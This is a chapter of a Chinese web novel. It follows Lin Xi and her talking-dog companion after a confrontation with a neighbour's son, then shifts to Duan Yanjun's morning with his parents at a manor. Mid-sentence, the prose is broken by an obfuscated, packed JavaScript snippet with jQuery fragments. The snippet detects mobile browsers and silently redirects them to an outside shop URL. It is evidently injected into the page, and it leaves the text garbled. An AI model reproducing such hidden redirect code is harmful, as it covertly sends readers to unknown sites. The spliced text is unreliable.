最后还是林溪她们在屋里听到外头的动静,一起跑出来看。
台风上前,对着那几只龇牙咧嘴的猫狗叫了几声,那些原本剑拔弩张的动物们才渐渐收了气势,警惕地后退了几步,但眼睛还盯着瘫坐在地上的赵念。
赵妈妈将裤子湿了一小片的儿子从地上拉起来,紧紧护在身后。
她惊魂未定,看着儿子吓白的脸,又看看蹲在林溪脚边的台风,心头那股无处发泄的怒火顿时找到了出口。
她指着台风,冲着林溪嚷道:“是不是你?!是不是你指使你的狗干的?!小小年纪心思这么恶毒!让野狗野猫来咬人!念念要是有个好歹,我跟你没完!”
这话一出,别说林溪和沐宜歌愣住了,连旁边几个被吵闹声吸引过来的邻居都听不下去了。
“哎哟,这话可不能乱说!小溪可是咱们看着长大的,什么样的人品大家心里没数?”
“就是!这些猫狗在镇上多少年了,什么时候主动咬过孩子?”
“可别是自己孩子惹了祸,赖上别人家孩子……”
赵恬在一旁急得脸色通红,挡在林溪面前,劝说道:“妈!你别乱冤枉人!跟小溪没关系!是她和台风出来帮忙的!”
赵奶奶也沉着脸快步走了出来,先上上下下打量了赵念一眼,见他确实没事,转头就对着赵妈妈劈头盖脸骂道:“这镇上猫狗可是我们看着长大的,什么时候伤过人?肯定是你儿子又干了什么好事!”
像是为了印证赵奶奶的话,刚才那只橘猫跑出来冲着赵念的方向又“哈”了一声,那条秃了一大块的尾巴格外显眼。
这下,所有人都看清了。
有眼尖的邻居说道:“哎呀,这尾巴怎么秃了这么大一块?看着像被硬揪掉的?”
大家的目光齐刷刷看向赵念惊慌躲闪的眼神,还有什么不明白的?
赵妈妈的脸一阵红一阵白,刚才指责林溪时的气势顿时泄了个干净。
如果没搞清楚真相,说不定她真会揪着不放,闹到学校去,用身份质问学校的教育问题。
眼下证据确凿,是她儿子先手欠,她也就再没脸嚷嚷了。
这事勉强算是告一段落。
在赵恬充满歉意的目光注视下,林溪拍了拍她的肩膀以示安慰,没再多说什么,带着台风转身回家了。
晚上吃完饭,林溪回到自己二楼的小房间。
窗外暮色渐沉,她盘腿坐在床上,闭着眼睛,手里那把旧二胡抵在腿上,慢悠悠地拉着一支不知名的小调,琴声幽幽,在安静的夜里显得有些寥落。
台风则在她房间门外来来回回地踱着小步,时不时探头朝虚掩的门缝里看一眼。
一曲终了,林溪放下二胡,对着门口方向,声音不高不低,幽幽地说道:“台风,在门外头转悠啥呢?这个点儿,你不是该趴窝里准备做梦去了吗?”
台风踱步的爪子一顿,扒着门框,小心翼翼地探进半个脑袋,正好对上林溪望过来的眼睛,吓得它脖子一缩,耳朵都往后贴了贴。
“嗯?”林溪把二胡小心地松了弦,调整好姿势放回盒里,见台风还在门口磨磨蹭蹭的样子,她淡淡地问,
“你在怕什么?难道今天那些猫猫狗狗攻击赵念,真是你使唤的?”
虽然林溪脸上没什么笑容,但台风还感觉到那里面并没有多少真正的怒意。
它跟林溪呆这么久,太了解了。
林小溪真正生气的时候,反而会笑着跟它讲道理,然后接下来好几天都不搭理它。
想到这儿,台风心里那点忐忑顿时散去不少,它昂首挺胸地迈着步子走了进来,不满地叫了几声,:“汪汪!汪汪汪!汪汪汪汪!(胡说八道!我才没有使唤它们!我只是过去跟它们聊了聊,让它们路过的时候顺便在那个讨厌女人附近站一站,谁知道那小屁孩自己手欠,能惹出那么大的阵仗!)”
林溪仔细看着台风,大概猜出了它的意思,心里悄悄松了口气。
“那就行……”林溪语气轻快了些。
她伸手揉了揉台风毛茸茸的大脑袋,声音放柔了,“不过啊,你记得提醒它们,吓唬人可以,但千万别真下嘴咬人。”
“汪!(我知道!我才不蠢!)”台风晃了晃脑袋,迈着步子走到自己的窝里,慢悠悠地趴下。
“就算是吓唬,也最好别随随便便就去吓。”林溪跟过去,蹲在它旁边,手指轻轻捏了捏它软乎乎的耳朵尖,
“我知道她们很讨厌,特别讨厌。但她们再怎么说也是小恬名义上的妈妈和弟弟。”
台风喉咙里咕噜了一声,尾巴在地板上左右扫了两下,显然还有些不服气,抬起头叫:“汪汪汪。(赵恬是赵恬,他们是他们。)”
“你是说,我得把他们和小恬区别开来吗?”林溪猜测着台风的意思,随后站起来,伸了个大大的懒腰,走到书桌边,
“道理是这么个道理,但是小恬她很在意,从小就在意那没见过面的爸妈,即便他们十几年没露面,即便他们这副样子……可我看得出来,她依旧是在意他们的。”
台风歪了歪头,琥珀色的眼睛里映着台灯温暖的光。
“很奇怪,是吧?我也觉得有点讲不通。”林溪拉开椅子坐下,打开书桌抽屉,从里面拿出几个玻璃瓶。
瓶子不大,每个里面都装了大概三分之一左右的、五颜六色的手折小星星。
她把瓶子挨个在桌面上摆好。
“明明后期没有任何付出,仅仅凭着血缘两个字,就能在一个人的心里占住一个位置。”
台风站起来,两只前爪搭在桌沿。
只见林溪从一叠印着可爱图案的星星纸条里抽出一条,拿起笔在纸条背面空白处写起字来。
“台风,你这时候不是该去睡觉了吗?快回窝里去。”林溪写完一行,侧头发现台风正偷看着,立刻捂住刚写的字,另一只手去遮台风的眼睛。
“汪!汪汪!汪汪汪汪!(给我看看!反正这里面肯定有一瓶是给我的!我现在提前看看内容怎么了?!)”台风不干,晃着脑袋想摆脱林溪的魔爪。
结果抗议无效,被林溪一把搂住身子,半抱半拖地弄回了它窝里。
林溪指着窝,用不容商量的语气说:“快点睡觉!惊喜如果提前被知道了,那还叫惊喜吗?就没意思了!”
台风还不死心,试图钻出来,结果林溪眼疾手快,扯过它的小毯子,兜头盖了上去,然后整个人扑上去,隔着毯子把不安分的狗子抱住。
“不许动!快睡!”
台风在毯子下面又扭动挣扎了几下,力道渐渐小了,最终安静下来。
林溪等了一会儿,才悄悄掀开毯子一角——
里面的狗子果然已经闭上眼睛,呼吸变得均匀绵长了。
她松了口气,轻手轻脚地爬起身,回到书桌前。
坐下后,她继续拿起笔,在星星纸条上写下想说的话,然后灵巧地将纸条折叠、压实,变成一颗饱满可爱的小星投进对应的玻璃瓶中。
灯光下,她的侧脸沉静而专注。
-----------------
卡尔森庄园,晨光熹微。
厚重的天鹅绒窗帘缝隙里,透进花园中盛放的玫瑰那娇艳的色彩。
段彦君从柔软宽阔的大床上醒来,盯着天花板看了几秒,才缓缓坐起身。
他抬起一只手臂遮在眼睛上,耳根处却不受控制地泛起了淡淡的红晕。
他想,一定是林小溪用被子把他闷得太紧了,就算回到自己身体里,也残留着那种过于亲昵的燥热感吧?
一定是这样。
在床上缓了好一会儿,直到脸上那不正常的温度降下去,他才下床。
赤脚踩在长绒地毯上,他走到一排玻璃陈列柜前,打开其中一扇柜门,从里面取出一个深色丝绒包裹的盒子。
打开盒盖,里面整整齐齐码放着一卷卷特制的透明纸条,纸张质地优良,在晨光下泛着柔和的珠光。
与众不同的是,纸条上印着一幅精致的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005469|189922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
微缩油画:翠意盎然的树林,林间蜿蜒而过的一条清澈小溪,溪边点缀着不知名的小野花。
图案笔触细腻生动,色彩淡雅清新,一看便知出自名家手笔,是专门设计绘制后印制的。
这是段彦君前段时间特意吩咐管家去定制的星星纸。
前面的几版设计他都不太满意,要么太华丽,要么太幼稚,直到看到这幅画后,他才勉强点了头。
段彦君将整个盒子拿到书桌上,又从抽屉里拿出一个水晶剔透的玻璃瓶。
瓶子里已经有了零星一二十颗小星星,用的正是这种特制的纸条。
他坐下,拿起桌上一支笔尖镶嵌着细碎钻石的羽毛笔,蘸了蘸特制的墨水,在纸条背面的留白处,认真地写下一行字。
写完后,他放下笔,手指灵活地开始折叠。
很快,一颗小巧精致的星星在他掌心成型,然后他小心地放进水晶瓶里。
做完这一切,他才起身去卫生间洗漱。
“咚咚。”房门被轻轻叩响两下。
“进。”段彦君用毛巾擦着脸,从卫生间走出来。
房门打开,一身黑色燕尾服、头发一丝不苟的丹尼尔管家站在门口,优雅地躬身:“早安,小少爷,愿您今日愉悦安康,先生和夫人此刻正在餐厅用早餐。”
“我哥呢?”段彦君走向衣帽间,随口问道。
“大少爷已经用完早餐,前往学院了。”丹尼尔管家跟在他侧后方半步的位置,目光平视前方。
段彦君套外套的动作几不可察地顿了一下,状似随意地问:“他们什么时候开始吃的?大概多久能吃完?”
丹尼尔管家依旧保持着无可挑剔的恭敬姿态,声音平稳无波:“先生和夫人特意吩咐,他们在等您一起。”
段彦君的脚下意识地就想转向另一个方向,但犹豫了一瞬,他还是抿了抿唇,继续朝着主餐厅的方向走去。
丹尼尔管家目不斜视,对于小少爷这细微的挣扎早已司空见惯。
这几年,先生、夫人和小少爷的关系虽说缓和了许多,但小少爷总下意识地想避开与先生夫人的独处空间。
偌大的餐厅里,长条形餐桌尽头,一对气质出众的男女已经就座。
男人有着深邃的轮廓和硬挺的鼻梁,正慢条斯理地切着盘中食物;
女人则是典型的东方面孔,妆容精致,举止端庄优雅。
“早安,彦君,昨晚休息得好吗?”段女士抬起眼看到他,嘴角微微上扬,露出一个温和的笑容。
“早安,还好。”段彦君简短地问候了一句,沉默地走到他们对面的位置坐下。
佣人立刻上前为他摆好餐盘。
“莱诺(莱诺·卡尔森,段彦君的家族姓名)”男人也就是卡尔森先生,放下银质的咖啡杯,杯碟发出轻微的脆响,他抬眼看向儿子,语气听不出什么情绪,“最近早晨醒来的时间,似乎比往常要晚一些。”
段彦君切着煎蛋的手没停,眼皮都没抬一下,漫不经心回道:“长身体阶段,米尔顿医生说需要保证充足的睡眠。”
卡尔森先生看着小儿子,目光在他脸上停留了两秒,没再说什么,仿佛接受了他这个说法,继续用餐。
段彦君心里悄悄松了口气,开始专注解决自己盘里的早餐。
一时之间,餐厅里只剩下细微的餐具碰撞声,气氛安静得有些微妙。
直到早餐结束,段彦君拿起餐巾擦了擦嘴角,他的父母也没有提及任何特别的事情,仿佛这顿早餐真的只是一次寻常的家庭聚会。
坐在驶离庄园的卡尔森家族专车上,段彦君忍不住回头,透过车窗望向那座在晨光中显得恢宏而宁静的庄园。
玫瑰园依旧绚烂,喷泉在阳光下闪烁着碎钻般的光芒。
他看了一会儿,转回身,坐正了。
他不知道的是,在他离开后不久,一辆熟悉的黑色轿车驶入庄园大门,停在了主宅前。
米尔顿医生提着他的医疗箱,从车上走了下来。